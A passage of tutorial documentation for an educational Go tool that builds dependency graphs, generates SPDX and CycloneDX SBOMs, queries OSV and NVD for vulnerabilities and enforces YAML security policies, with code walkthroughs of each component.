CREATE TABLE IF NOT EXISTS vuln_cache (
purl TEXT NOT NULL,
source TEXT NOT NULL,
data BLOB NOT NULL,
created_at INTEGER NOT NULL,
PRIMARY KEY (purl, source)
)
```
The `INSERT OR REPLACE` strategy at `internal/vuln/cache.go` means re-scanning the same project updates stale entries without requiring explicit deletion.
## Configuration
### Environment Variables
```bash
BOMBER_NVD_API_KEY # NVD API key for higher rate limits (200ms vs 1.7s)
BOMBER_INSTALL_DIR # Override install location (default: ~/.bomber/bin)
BOMBER_VERSION # Pin install script to a specific version
```
### Configuration Strategy
Bomber uses a flags-only approach for configuration. There's no config file for the tool itself (unlike Portia's `.portia.toml`). This is deliberate: Bomber is designed for CI/CD pipelines where configuration comes from environment variables and command-line flags, not project-local config files.
The only file-based configuration is the policy file (`policy.yaml`), which defines security rules rather than tool behavior.
## Performance Considerations
### Bottlenecks
Where this system gets slow under load:
1. **NVD API queries** - One request per package, rate-limited to 1.7s/request without an API key. A project with 200 dependencies takes ~340 seconds. With an API key: ~40 seconds. This is why OSV (batch queries, no rate limit) is the primary source.
2. **`go mod graph` execution** - The Go parser shells out to `go mod graph` to build accurate edge relationships. This is an `exec.Command` call at `internal/parser/gomod.go` that can take seconds for large Go projects because it resolves the module graph.
### Optimizations
What we did to make it faster:
- **OSV batch API**: Instead of querying one package at a time, Bomber sends up to 1000 PURLs in a single POST request. This turns N HTTP round-trips into ceil(N/1000).
- **SQLite response caching**: Repeated scans of the same project skip API calls entirely for packages already cached within the TTL window. The cache uses a composite key `(purl, source)` so OSV and NVD results are cached independently.
- **Directory skip list**: The scanner skips 9 known noise directories (`node_modules`, `.git`, `vendor`, etc.) to avoid traversing millions of files in large monorepos.
### Scalability
**Vertical scaling:**
Bomber is single-threaded for API queries (both OSV and NVD). The OSV batch API makes this acceptable. NVD's rate limit is the binding constraint, not CPU or memory.
**Horizontal scaling:**
For scanning hundreds of repositories, run Bomber as a parallel CI step per repository. Each instance maintains its own cache. There's no shared state between runs.
## Design Decisions
### Decision 1: OSV as Primary, NVD as Supplementary
**What we chose:** OSV is always queried. NVD is only queried if `BOMBER_NVD_API_KEY` is set.
**Alternatives considered:**
- NVD only - Rejected because NVD doesn't support PURL (requires CPE translation, which is lossy) and has strict rate limits
- Both always - Rejected because NVD without an API key is too slow for interactive use
- OSV only - Viable but loses the enrichment NVD provides (more detailed CVSS data, broader coverage for some ecosystems)
**Trade-offs:** Users who want comprehensive coverage need an NVD API key. Users who want fast, good-enough results get OSV by default with no setup.
### Decision 2: Pure-Go SQLite (modernc.org/sqlite)
**What we chose:** A pure-Go SQLite implementation with no CGo dependency.
**Alternatives considered:**
- `mattn/go-sqlite3` - Requires CGo and a C compiler. Cross-compilation becomes painful. Rejected for distribution simplicity.
- BoltDB/BadgerDB - Key-value stores without SQL. Rejected because the `(purl, source)` composite key with TTL expiration maps naturally to SQL.
- No cache - Rejected because vulnerability API calls are expensive (network latency + rate limits).
**Trade-offs:** `modernc.org/sqlite` is slower than the CGo version for heavy workloads, but Bomber's cache queries are trivial (point lookups and upserts). The distribution benefit (single static binary) far outweighs the performance difference.
### Decision 3: Dependency Graph as Adjacency List
**What we chose:** `map[string]Package` for nodes and `map[string][]string` for edges, both keyed by PURL.
**Alternatives considered:**
- Adjacency matrix - O(1) edge lookups but O(n^2) memory. Rejected for a system that commonly handles 50-500 packages.
- Third-party graph library - Adds dependency for a relatively simple data structure. Rejected in favor of stdlib-only implementation.
**Trade-offs:** Adjacency lists are space-efficient and fast for BFS/DFS traversal (which is all Bomber needs). Edge existence checks are O(degree) instead of O(1), but no operation in Bomber requires frequent edge-existence queries.
## Error Handling Strategy
### Error Types
1. **Parse errors** - A manifest file exists but can't be parsed (malformed TOML, invalid JSON). Handled by returning `nil, error` from `Parse()`. The scanner logs and continues to the next parser.
2. **Network errors** - OSV or NVD API is unreachable. The vuln command continues with whatever results it has. Individual client errors don't abort the entire scan.
3. **Cache errors** - SQLite can't be opened or queried. The scan proceeds without caching. Cache errors are silently ignored because they don't affect correctness.
4. **Policy violations** - Not errors in the traditional sense. The policy engine returns a `CheckResult` with `Passed: false`, and the CLI exits with code 1.
### Recovery Strategy
The general approach is **best-effort degradation**:
- If `go mod graph` fails, the Go parser still returns packages from `go.mod` parsing. It just won't have accurate edge data.
- If NVD returns an error for one package, Bomber logs it and continues with the rest. It doesn't abort.
- If the cache can't be initialized, the scan proceeds without caching.
## Extensibility
### Adding a New Ecosystem Parser
Want to add Rust support? Here's where it goes:
1. Create `internal/parser/cargo.go` implementing `DependencyParser`:
- `Detect()`: check for `Cargo.toml`
- `Parse()`: read `Cargo.toml` and `Cargo.lock`, build graph with `pkg:cargo/` PURLs
- `Ecosystem()`: return a new `EcosystemRust` constant
2. Add `EcosystemRust` to the `Ecosystem` enum in `pkg/types/types.go`
3. Register in `internal/parser/registry.go`:
```go
func RegisterAll(reg *Registry) {
reg.Register(NewGoModParser())
reg.Register(NewNodeParser())
reg.Register(NewPythonParser())
reg.Register(NewCargoParser()) // add this
}
```
No changes needed to the scanner, SBOM generators, vulnerability matchers, policy engine, or CLI. The registry pattern handles dispatch.
### Adding a New Vulnerability Source
Want to add GitHub Advisory Database support?
1. Create `internal/vuln/ghsa.go` implementing the `Client` interface:
- `Query()`: call the GitHub GraphQL API
- `Source()`: return `"ghsa"`
2. Add it to the client list in `internal/cli/vuln.go`:
```go
ghToken := os.Getenv("BOMBER_GITHUB_TOKEN")
if ghToken != "" {
clients = append(clients, vuln.NewGHSAClient(vuln.WithGHToken(ghToken)))
}
```
The deduplication logic already handles aliases, so overlapping results between OSV and GHSA are merged automatically.
## Comparison to Similar Systems
### Syft (Anchore)
Syft is a mature SBOM generator that supports 20+ ecosystems and generates SPDX, CycloneDX, and its own JSON format. It scans container images, file systems, and archives.
How Bomber is different:
- Bomber combines SBOM generation with vulnerability matching and policy enforcement in one binary. Syft focuses on SBOM generation and delegates vulnerability scanning to Grype.
- Bomber is a focused learning project targeting three ecosystems deeply. Syft is a production tool covering breadth.
### Grype (Anchore)
Grype is a vulnerability scanner that consumes SBOMs or scans images directly. It pairs with Syft.
How Bomber is different:
- Bomber generates SBOMs and scans vulnerabilities in a single pipeline. Grype expects pre-generated SBOMs or raw file system access.
- Bomber's policy engine is built-in. Grype relies on external tooling for policy enforcement.
### Trivy (Aqua Security)
Trivy is a comprehensive security scanner that covers vulnerabilities, misconfigurations, secrets, and licenses.
How Bomber is different:
- Bomber is a single-purpose tool: dependencies and vulnerabilities. Trivy is a multi-scanner covering container images, Kubernetes manifests, IaC files, and more.
- Bomber is a ~2000 line Go project suitable for reading end-to-end. Trivy is a large production codebase.
## Key Files Reference
Quick map of where to find things:
- `cmd/bomber/main.go` - Entry point (3 lines)
- `pkg/types/types.go` - All shared data structures
- `internal/config/config.go` - Constants and API URLs
- `internal/cli/root.go` - CLI setup, signal handling, flag definitions
- `internal/scanner/scanner.go` - Directory walker and ecosystem dispatcher
- `internal/parser/parser.go` - DependencyParser interface (4 lines)
- `internal/parser/registry.go` - Parser registry and auto-detection
- `internal/parser/gomod.go` - Go parser (go.mod, go.sum, go mod graph, BFS depth)
- `internal/parser/node.go` - Node parser (package.json, pnpm-lock.yaml)
- `internal/parser/python.go` - Python parser (pyproject.toml, uv.lock)
- `internal/graph/graph.go` - Graph utilities (all/direct/transitive, cycles, merge)
- `internal/sbom/spdx.go` - SPDX 2.3 JSON generator
- `internal/sbom/cyclonedx.go` - CycloneDX 1.5 JSON generator
- `internal/vuln/client.go` - Vulnerability client interface (4 lines)
- `internal/vuln/osv.go` - OSV batch API client
- `internal/vuln/nvd.go` - NVD REST API client with rate limiting
- `internal/vuln/cvss.go` - CVSS v3.1 base score calculator
- `internal/vuln/cache.go` - SQLite cache with TTL
- `internal/policy/rules.go` - Policy YAML loader
- `internal/policy/engine.go` - Policy evaluation engine
- `internal/report/terminal.go` - Colored terminal output
- `internal/report/json.go` - JSON report format
## Next Steps
Now that you understand the architecture:
1. Read [03-IMPLEMENTATION.md](./03-IMPLEMENTATION.md) for code walkthrough
2. Try modifying the Go parser to skip indirect dependencies and observe how the scan summary changes
3. Try adding a new policy rule (e.g., `blocked_packages: ["lodash"]`) and follow the patterns in `engine.go`

928
PROJECTS/intermediate/sbom-generator-vulnerability-matcher/learn/03-IMPLEMENTATION.md Normal file
View File

@ -0,0 +1,928 @@
# Implementation Guide
This document walks through the actual code. We'll follow the data from CLI invocation through parsing, graph construction, SBOM generation, vulnerability matching, and policy evaluation.
## File Structure Walkthrough
```
sbom-generator-vulnerability-matcher/
├── cmd/bomber/
│ └── main.go # Entry point (3 lines)
├── internal/
│ ├── cli/
│ │ ├── root.go # Root command, flags, signal handling
│ │ ├── scan.go # Dependency scan command
│ │ ├── generate.go # SBOM generation command
│ │ ├── vuln.go # Vulnerability scan + deduplication
│ │ └── check.go # Policy evaluation command
│ ├── config/
│ │ └── config.go # Constants: URLs, timeouts, format versions
│ ├── graph/
│ │ └── graph.go # Graph traversal and cycle detection
│ ├── parser/
│ │ ├── parser.go # DependencyParser interface
│ │ ├── registry.go # Parser registration and detection
│ │ ├── gomod.go # Go: go.mod, go.sum, go mod graph
│ │ ├── node.go # Node: package.json, pnpm-lock.yaml
│ │ └── python.go # Python: pyproject.toml, uv.lock
│ ├── policy/
│ │ ├── rules.go # Policy YAML structure and loading
│ │ └── engine.go # Policy evaluation rules
│ ├── report/
│ │ ├── terminal.go # Colored terminal report
│ │ └── json.go # JSON report format
│ ├── sbom/
│ │ ├── spdx.go # SPDX 2.3 JSON generator
│ │ └── cyclonedx.go # CycloneDX 1.5 JSON generator
│ ├── ui/
│ │ ├── banner.go # ASCII art banner
│ │ ├── color.go # Color function wrappers
│ │ ├── spinner.go # Terminal spinner for long operations
│ │ └── symbol.go # Unicode symbols (check, cross, etc.)
│ └── vuln/
│ ├── client.go # Client interface
│ ├── osv.go # OSV batch API client
│ ├── nvd.go # NVD REST API client
│ ├── cvss.go # CVSS v3.1 calculator
│ └── cache.go # SQLite response cache
├── pkg/types/
│ └── types.go # Core data structures
└── testdata/ # Fixtures for all ecosystems
```
## Building the Type System
### Core Types (`pkg/types/types.go`)
Every data structure in Bomber flows through `pkg/types`. This is the foundation.
The `Ecosystem` type is an iota enum with a `String()` method for human-readable output. The `Severity` type follows the same pattern but adds `Rank()` for numeric comparison and `ParseSeverity()` for converting strings from API responses:
```go
type Severity int
const (
SeverityNone Severity = iota
SeverityLow
SeverityMedium
SeverityHigh
SeverityCritical
)
```
The iota ordering is deliberate: `SeverityNone < SeverityLow < ... < SeverityCritical`. This means `Rank()` (which returns the int value) can be used for direct comparison in the policy engine. When the policy says `max_severity: medium` and a vulnerability is `HIGH`, the engine compares `SeverityHigh.Rank() > SeverityMedium.Rank()` which is `3 > 2` which is `true`, so it generates a violation.
The `Package` struct carries everything Bomber knows about a dependency:
```go
type Package struct {
Name string
Version string
Ecosystem Ecosystem
PURL string
Checksums []Checksum
Direct bool
DepthLevel int
}
```
`PURL` serves double duty: it's the universal identifier for external API queries and the map key for graph nodes. `Direct` distinguishes packages you explicitly declared from ones pulled in transitively. `DepthLevel` is computed via BFS after graph construction.
The `DependencyGraph` is an adjacency list with a designated root:
```go
type DependencyGraph struct {
Root Package
Nodes map[string]Package
Edges map[string][]string
}
```
Both maps are keyed by PURL strings. `NewDependencyGraph` initializes the maps and inserts the root node, ensuring the graph is never in an invalid state.
## Building the Parser System
### The Interface (`internal/parser/parser.go`)
The entire parser interface is four lines:
```go
type DependencyParser interface {
Detect(dir string) bool
Parse(dir string) (*types.DependencyGraph, error)
Ecosystem() types.Ecosystem
}
```
`Detect` checks if a directory contains this parser's manifest files. `Parse` reads those files and returns a fully constructed dependency graph. `Ecosystem` returns which ecosystem this parser handles.
### The Registry (`internal/parser/registry.go`)
The registry stores parsers and provides detection:
```go
func (r *Registry) Detect(dir string) []DependencyParser {
var matched []DependencyParser
for _, p := range r.parsers {
if p.Detect(dir) {
matched = append(matched, p)
}
}
return matched
}
```
A monorepo directory might match multiple parsers. If a directory has both `go.mod` and `package.json`, both the Go and Node parsers are returned. Each produces its own `DependencyGraph`.
`RegisterAll` wires up all three parsers. This is the single place where adding a new ecosystem requires a change.
### Go Parser (`internal/parser/gomod.go`)
The Go parser is the most complex because Go has three sources of dependency information: `go.mod` (manifest), `go.sum` (checksums), and `go mod graph` (edge relationships).
**Phase 1: Parse go.mod**
The parser reads `go.mod` line by line with `bufio.Scanner`. It tracks whether it's inside a `require (...)` block and classifies each dependency as direct or indirect based on the `// indirect` comment:
```go
if strings.Contains(line, "// indirect") {
indirectDeps[name] = version
} else {
directDeps[name] = version
}
```
This is the same heuristic that `go mod` itself uses. Go doesn't have a separate manifest vs lockfile distinction: `go.mod` contains both direct and indirect dependencies, annotated with comments.
**Phase 2: Parse go.sum for checksums**
`parseGoSum` reads `go.sum` and extracts SHA-256 hashes. Each line in `go.sum` looks like:
```
github.com/spf13/cobra v1.10.2 h1:abc123base64...
```
The `h1:` prefix indicates a hash format. The parser base64-decodes the hash and converts it to hex:
```go
raw := strings.TrimPrefix(hash, "h1:")
decoded, err := base64.StdEncoding.DecodeString(raw)
checksums[key] = append(checksums[key], types.Checksum{
Algorithm: "SHA-256",
Value: hex.EncodeToString(decoded),
})
```
**Phase 3: Build edges with `go mod graph`**
`go.mod` only tells you which packages exist. For accurate parent-child relationships, the parser shells out to `go mod graph`:
```go
cmd := exec.Command("go", "mod", "graph")
cmd.Dir = dir
out, err := cmd.Output()
```
Each line of output is `parent@version child@version`. The parser converts these to PURLs and adds edges. If `go mod graph` fails (e.g., no Go toolchain available), the parser still returns the packages from phase 1, just without edge data. This is the best-effort degradation strategy.
**Phase 4: Compute depth levels via BFS**
After the graph is built, `computeDepthLevels` runs BFS from the root node:
```go
func computeDepthLevels(graph *types.DependencyGraph) {
depths := make(map[string]int)
depths[graph.Root.PURL] = 0
queue := []string{graph.Root.PURL}
for len(queue) > 0 {
current := queue[0]
queue = queue[1:]
currentDepth := depths[current]
for _, child := range graph.Edges[current] {
if _, visited := depths[child]; !visited {
depths[child] = currentDepth + 1
queue = append(queue, child)
}
}
}
...
}
```
BFS guarantees that each node gets the shortest path depth from root. A package reachable via both a depth-2 and depth-4 path gets depth 2.
### Node Parser (`internal/parser/node.go`)
The Node parser reads `package.json` for project metadata and direct dependency declarations, then `pnpm-lock.yaml` for resolved versions and transitive dependencies.
**package.json parsing** uses `encoding/json` to unmarshal into a struct:
```go
type packageJSON struct {
Name string `json:"name"`
Version string `json:"version"`
Dependencies map[string]string `json:"dependencies"`
DevDependencies map[string]string `json:"devDependencies"`
}
```
Both `dependencies` and `devDependencies` are treated as direct dependencies. This is intentional: dev dependencies can also have vulnerabilities, and in a development environment, they're on the attack surface.
**pnpm-lock.yaml parsing** is more involved. The lock file has two key sections: `packages` (resolved package metadata) and `snapshots` (dependency relationships).
The `splitPnpmKey` function handles pnpm's key format, which uses `@` as both a scoped package prefix and a version separator:
```go
func splitPnpmKey(key string) (string, string) {
atIdx := strings.LastIndex(key, "@")
if atIdx <= 0 {
return "", ""
}
return key[:atIdx], key[atIdx+1:]
}
```
Using `LastIndex` handles scoped packages correctly: `@angular/core@17.0.0` splits at the last `@` into name `@angular/core` and version `17.0.0`.
**PURL encoding for scoped packages:**
npm scoped packages start with `@`, but PURL's `@` denotes a version separator. The `encodePURLName` function percent-encodes the leading `@`:
```go
func encodePURLName(name string) string {
if strings.HasPrefix(name, "@") {
return strings.Replace(name, "@", "%40", 1)
}
return name
}
```
**Fallback:** If `pnpm-lock.yaml` doesn't exist, the parser falls back to `parseFromPackageJSON`, which uses `package.json` dependencies directly. Version constraints (like `^4.18.2`) are cleaned using a regex that extracts the semver portion:
```go
var nodeSemverRe = regexp.MustCompile(`\d+\.\d+\.\d+`)
func cleanNodeVersion(constraint string) string {
match := nodeSemverRe.FindString(constraint)
if match != "" {
return match
}
return strings.TrimLeft(constraint, "^~>=< ")
}
```
### Python Parser (`internal/parser/python.go`)
The Python parser reads `pyproject.toml` for project metadata and `uv.lock` for resolved versions.
**pyproject.toml parsing** uses `go-toml/v2`:
```go
type pyprojectTOML struct {
Project struct {
Name string `toml:"name"`
Version string `toml:"version"`
Dependencies []string `toml:"dependencies"`
} `toml:"project"`
DependencyGroups map[string][]string `toml:"dependency-groups"`
}
```
Python dependency specifiers include version constraints inline: `requests>=2.31.0`. The `extractPyPkgName` function strips everything after the first version operator:
```go
var pyVersionRe = regexp.MustCompile(`[><=!~;]`)
func extractPyPkgName(spec string) string {
loc := pyVersionRe.FindStringIndex(spec)
if loc != nil {
return strings.TrimSpace(spec[:loc[0]])
}
return strings.TrimSpace(spec)
}
```
**uv.lock parsing** handles virtual packages (the project root itself, which has `source.virtual` set) by skipping them:
```go
if pkg.Source.Virtual != "" {
continue
}
```
The parser builds a `purlMap` (name -> PURL) during the first pass, then uses it to resolve edges in a second pass based on each package's `dependencies` list.
**Name normalization:** PyPI treats package names case-insensitively and normalizes hyphens/underscores. The parser lowercases all names before PURL construction and before matching against the direct dependency set.
## Building the Graph Package
### Graph Utilities (`internal/graph/graph.go`)
The graph package provides pure functions that operate on `*types.DependencyGraph`. It doesn't own any state.
**AllPackages, DirectPackages, TransitivePackages** are simple filters over `g.Nodes`. `DirectPackages` excludes the root node itself (you don't want "my-project" counted as a dependency of itself).
**DetectCycles** uses DFS with a "current stack" tracking pattern:
```go
func DetectCycles(g *types.DependencyGraph) [][]string {
var cycles [][]string
visited := make(map[string]bool)
inStack := make(map[string]bool)
var dfs func(purl string, path []string)
dfs = func(purl string, path []string) {
if inStack[purl] {
for i, p := range path {
if p == purl {
cycle := make([]string, len(path)-i)
copy(cycle, path[i:])
cycles = append(cycles, cycle)
return
}
}
return
}
if visited[purl] {
return
}
visited[purl] = true
inStack[purl] = true
path = append(path, purl)
for _, child := range g.Edges[purl] {
dfs(child, path)
}
inStack[purl] = false
}
...
}
```
The `visited` set prevents re-exploring completed subtrees. The `inStack` set tracks the current DFS path. If we encounter a node that's already in the current stack, we've found a cycle. The `path` slice records the actual nodes in the cycle for reporting.
**MergeGraphs** combines multiple graphs under a synthetic root. This is used when scanning a monorepo where each ecosystem gets its own graph. The merged graph has a root at `pkg:merged/root` with edges to each original root.
## Building the Scanner
### Scanner Engine (`internal/scanner/scanner.go`)
The scanner ties parsers to directory discovery:
```go
func (s *Scanner) Scan(dir string) (*types.ScanResult, error) {
result := &types.ScanResult{}
ecosystemSet := make(map[types.Ecosystem]bool)
dirs := discoverDirs(dir)
for _, d := range dirs {
matched := s.registry.Detect(d)
for _, p := range matched {
g, err := p.Parse(d)
if err != nil {
continue
}
result.Graphs = append(result.Graphs, g)
ecosystemSet[p.Ecosystem()] = true
}
}
...
}
```
`discoverDirs` recursively walks the directory tree, skipping known noise directories. It returns a flat list of directories to check. The scanner then runs detection and parsing on each one.
Parse errors are silently ignored (`continue`). This is intentional: a monorepo might have directories with partial or broken manifest files. The scanner should process what it can.
The skip list is hard-coded:
```go
var skipDirs = map[string]bool{
"node_modules": true, ".git": true, "vendor": true,
"__pycache__": true, ".venv": true, "dist": true,
"build": true, ".tox": true, "target": true,
}
```
These are well-known directories that either contain resolved dependencies (which would cause double-counting) or build artifacts (which aren't source).
## Building the SBOM Generators
### SPDX 2.3 Generator (`internal/sbom/spdx.go`)
The SPDX generator maps dependency graphs to the SPDX 2.3 JSON format.
**Document namespace generation** creates a globally unique identifier:
```go
nsHash := fmt.Sprintf("%x", sha256.Sum256([]byte(docName+now)))
namespace := fmt.Sprintf("https://spdx.org/spdxdocs/%s-%s", docName, nsHash[:16])
```
The namespace combines the project name and timestamp, hashed with SHA-256 and truncated to 16 hex characters. This ensures uniqueness without relying on random UUIDs (SPDX convention).
**SPDX ID sanitization** is required because SPDX IDs must match `[a-zA-Z0-9.-]+`. PURLs contain characters like `/`, `@`, `:`, and `%` that aren't allowed:
```go
func sanitizeSPDXID(purl string) string {
r := strings.NewReplacer(
"/", "-", "@", "-", ":", "-", ".", "-", "%", "-",
)
return "SPDXRef-" + r.Replace(purl)
}
```
**Relationships** use two SPDX relationship types:
- `DESCRIBES`: Links the document to the root package
- `DEPENDS_ON`: Links parent packages to child packages
Every edge in every graph becomes a `DEPENDS_ON` relationship. This is the standard way to represent dependency trees in SPDX.
### CycloneDX 1.5 Generator (`internal/sbom/cyclonedx.go`)
CycloneDX uses a different model: components (the packages) and dependencies (the relationships) are separate top-level arrays.
**Key difference from SPDX:** CycloneDX uses `bom-ref` as the linking identifier between components and dependencies. Bomber uses the PURL directly as the `bom-ref`:
```go
comp := cdxComponent{
Type: "library",
Name: pkg.Name,
Version: pkg.Version,
PURL: pkg.PURL,
BOMRef: pkg.PURL,
}
```
The root package is excluded from the components list (`if pkg.PURL == graph.Root.PURL { continue }`). CycloneDX represents the root project in the metadata section, not as a component.
**UUID generation** uses `google/uuid` for the serial number:
```go
SerialNum: fmt.Sprintf("urn:uuid:%s", uuid.New().String()),
```
Each generated SBOM gets a unique identifier, which is useful for tracking document revisions and provenance.
## Building the Vulnerability Matcher
### Client Interface (`internal/vuln/client.go`)
```go
type Client interface {
Query(ctx context.Context, packages []types.Package) ([]types.VulnMatch, error)
Source() string
}
```
`Source()` returns a string identifier (`"osv"` or `"nvd"`) used for cache keying and deduplication attribution.
### OSV Client (`internal/vuln/osv.go`)
The OSV client implements batch queries. It chunks packages into groups of 1000 (the API limit) and sends POST requests:
```go
func (c *OSVClient) Query(ctx context.Context, packages []types.Package) ([]types.VulnMatch, error) {
var allMatches []types.VulnMatch
for i := 0; i < len(packages); i += config.OSVBatchSize {
if err := ctx.Err(); err != nil {
return allMatches, err
}
end := i + config.OSVBatchSize
if end > len(packages) {
end = len(packages)
}
batch := packages[i:end]
matches, err := c.queryBatch(ctx, batch)
...
}
return allMatches, nil
}
```
The context check at each iteration enables graceful cancellation: if the user hits Ctrl+C, the signal handler cancels the context, and the next batch iteration returns early.
**Response parsing** correlates results with input packages by index. The OSV batch API returns results in the same order as the query:
```go
for i, result := range batchResp.Results {
if i >= len(packages) {
break
}
pkg := packages[i]
for _, v := range result.Vulns {
...
}
}
```
**Severity extraction** follows a priority chain: first check `database_specific.severity` (which some ecosystem databases provide as a simple label), then fall back to parsing the CVSS v3 vector from the `severity` array:
```go
func parseSeverityFromOSV(v osvVuln) types.Severity {
if v.DBSpec.Severity != "" {
return types.ParseSeverity(v.DBSpec.Severity)
}
for _, s := range v.Severity {
if s.Type == "CVSS_V3" {
score := parseCVSSScore(s.Score)
return scoreToSeverity(score)
}
}
return types.SeverityNone
}
```
### NVD Client (`internal/vuln/nvd.go`)
The NVD client queries one package at a time because the NVD API doesn't support batching.
**CPE construction** converts a PURL-style identifier to CPE format:
```go
func buildCPEString(pkg types.Package) string {
product := pkg.Name
if idx := strings.LastIndex(product, "/"); idx >= 0 {
product = product[idx+1:]
}
product = strings.ToLower(product)
version := strings.TrimPrefix(pkg.Version, "v")
if version == "" {
version = "*"
}
return fmt.Sprintf("cpe:2.3:a:*:%s:%s:*:*:*:*:*:*:*", product, version)
}
```
For Go modules like `golang.org/x/net`, this extracts `net` as the product name. The vendor is wildcarded because CPE vendor names are inconsistent across NVD records. This is a best-effort approach; some packages won't match their NVD entries.
**Rate limiting** uses a mutex-protected timer:
```go
func (c *NVDClient) rateLimit(ctx context.Context) {
c.mu.Lock()
defer c.mu.Unlock()
elapsed := time.Since(c.lastReq)
if elapsed < c.rateDelay {
wait := c.rateDelay - elapsed
timer := time.NewTimer(wait)
defer timer.Stop()
select {
case <-ctx.Done():
return
case <-timer.C:
}
}
c.lastReq = time.Now()
}
```
The `select` with `ctx.Done()` ensures the rate limiter respects cancellation. Without it, Ctrl+C during NVD scanning would block until the timer expires.
The rate delay is configured differently based on authentication: 200ms with an API key, 1700ms without. This matches NVD's documented limits.
### CVSS v3.1 Calculator (`internal/vuln/cvss.go`)
The calculator implements the CVSS v3.1 specification from FIRST.org.
**Vector parsing** extracts the 8 metric values from a CVSS vector string and converts them to numeric weights:
```go
func parseCVSSVector(vector string) *cvssMetrics {
if !strings.HasPrefix(vector, "CVSS:3") {
return nil
}
parts := strings.Split(vector, "/")
if len(parts) < 9 {
return nil
}
vals := make(map[string]string, 8)
for _, part := range parts[1:] {
kv := strings.SplitN(part, ":", 2)
if len(kv) == 2 {
vals[kv[0]] = kv[1]
}
}
...
}
```
The function returns `nil` for invalid vectors (wrong prefix, missing metrics, unknown values). This means unparseable vectors produce a score of 0.0.
**Privileges Required** weights depend on Scope. If the scope is changed, privilege requirements are less effective at reducing risk:
```go
prMap := prWeightsUnchanged
if s == scopeChanged {
prMap = prWeightsChanged
}
```
For example, `PR:L` with `S:U` maps to weight 0.62, but `PR:L` with `S:C` maps to 0.68. This reflects the CVSS specification's view that scope changes make privilege requirements less meaningful.
**Score calculation** follows the spec exactly:
```go
iss := 1 - ((1 - metrics.C) * (1 - metrics.I) * (1 - metrics.A))
var impact float64
if metrics.S == scopeUnchanged {
impact = 6.42 * iss
} else {
impact = 7.52*(iss-0.029) - 3.25*math.Pow(iss-0.02, 15)
}
if impact <= 0 {
return 0
}
exploitability := 8.22 * metrics.AV * metrics.AC * metrics.PR * metrics.UI
```
If impact is zero or negative (all CIA impacts are None), the score is 0 regardless of exploitability. You can't have a vulnerability if nothing is affected.
**CVSS round-up** is a spec-defined operation that rounds to one decimal place, always rounding up:
```go
func cvssRoundUp(val float64) float64 {
shifted := math.Round(val*100000) / 100000
return math.Ceil(shifted*10) / 10
}
```
The intermediate `Round` at 5 decimal places handles floating-point precision issues before the final `Ceil`.
### SQLite Cache (`internal/vuln/cache.go`)
The cache stores vulnerability results to avoid redundant API calls:
```go
func NewCache(dbPath string, ttl time.Duration) (*Cache, error) {
dir := filepath.Dir(dbPath)
if err := os.MkdirAll(dir, 0o755); err != nil {
return nil, fmt.Errorf("create cache dir: %w", err)
}
db, err := sql.Open("sqlite", dbPath)
...
}
```
`MkdirAll` creates `~/.bomber/` if it doesn't exist. The SQLite driver is `modernc.org/sqlite`, a pure-Go implementation that requires no CGo.
**Cache reads** check TTL before returning results:
```go
func (c *Cache) Get(purl, source string) ([]types.VulnMatch, bool, error) {
...
created := time.UnixMilli(createdAt)
if time.Since(created) > c.ttl {
return nil, false, nil
}
...
}
```
Expired entries aren't deleted on read. They're left in place and overwritten on the next write (`INSERT OR REPLACE`). This avoids the need for a separate cleanup goroutine.
## Building the Policy Engine
### Policy Loading (`internal/policy/rules.go`)
```go
type Policy struct {
MaxSeverity string `yaml:"max_severity"`
MaxAgeDays int `yaml:"max_age_days"`
MaxDepth int `yaml:"max_depth"`
}
```
The policy file is YAML. An empty field means the rule is disabled. A minimal policy might be just `max_severity: medium`.
### Policy Evaluation (`internal/policy/engine.go`)
The engine checks three rule types sequentially:
**Severity check** compares each vulnerability's severity rank against the threshold:
```go
if p.MaxSeverity != "" {
threshold := types.ParseSeverity(p.MaxSeverity)
for _, m := range report.Matches {
if m.Vulnerability.Severity.Rank() > threshold.Rank() {
...
result.Passed = false
}
}
}
```
Setting `max_severity: medium` allows None, Low, and Medium but fails on High or Critical.
**Age check** computes a cutoff date and compares against each vulnerability's published date:
```go
if p.MaxAgeDays > 0 {
cutoff := time.Now().AddDate(0, 0, -p.MaxAgeDays)
for _, m := range report.Matches {
if !m.Vulnerability.Published.IsZero() && m.Vulnerability.Published.Before(cutoff) {
...
}
}
}
```
The `IsZero()` check handles vulnerabilities where the published date isn't available (some OSV entries lack this field). Unknown dates don't trigger the rule.
**Depth check** operates on the graph structure, not individual vulnerabilities:
```go
if p.MaxDepth > 0 {
for _, g := range graphs {
depth := graph.MaxDepth(g)
if depth > p.MaxDepth {
...
}
}
}
```
This rule is ecosystem-wide: if any dependency in any graph exceeds the depth limit, the check fails.
## Building the Vulnerability Orchestrator
### Cache-First Query Strategy (`internal/cli/vuln.go`)
The `queryVulns` function in `vuln.go` orchestrates the full vulnerability scanning pipeline. It iterates each client, checks cache first, queries uncached packages, and stores results:
```go
for _, client := range clients {
var uncached []types.Package
for _, pkg := range allPkgs {
if cache != nil {
cached, ok, err := cache.Get(pkg.PURL, client.Source())
if err == nil && ok {
vulnReport.Matches = append(vulnReport.Matches, cached...)
continue
}
}
uncached = append(uncached, pkg)
}
if len(uncached) == 0 {
continue
}
matches, err := client.Query(ctx, uncached)
...
}
```
### Deduplication
When both OSV and NVD report the same vulnerability, `deduplicateMatches` merges them:
```go
func deduplicateMatches(matches []types.VulnMatch) []types.VulnMatch {
seen := make(map[string]int)
var deduped []types.VulnMatch
for _, m := range matches {
ids := make([]string, 0, 1+len(m.Vulnerability.Aliases))
ids = append(ids, m.Vulnerability.ID)
ids = append(ids, m.Vulnerability.Aliases...)
existingIdx := -1
for _, id := range ids {
if idx, ok := seen[id]; ok {
existingIdx = idx
break
}
}
if existingIdx >= 0 {
existing := deduped[existingIdx]
if m.Vulnerability.Score > existing.Vulnerability.Score ||
(m.Vulnerability.FixVersion != "" && existing.Vulnerability.FixVersion == "") {
deduped[existingIdx] = m
}
continue
}
...
}
}
```
The `seen` map tracks every ID and alias for every vulnerability. When a new match arrives, all its IDs and aliases are checked against the map. If there's overlap, the better entry wins: higher CVSS score takes priority, and entries with fix versions are preferred over those without.
## Building the Report Layer
### Terminal Output (`internal/report/terminal.go`)
**Scan summary** is concise: total packages, direct vs transitive breakdown, detected ecosystems, and cycle warnings:
```go
func PrintScanSummary(w io.Writer, result *types.ScanResult) {
fmt.Fprintf(w, " %s Scanned %d packages (%d direct",
ui.Check, result.TotalPkgs, result.DirectPkgs)
transitive := result.TotalPkgs - result.DirectPkgs
if transitive > 0 {
fmt.Fprintf(w, ", %d transitive", transitive)
}
...
}
```
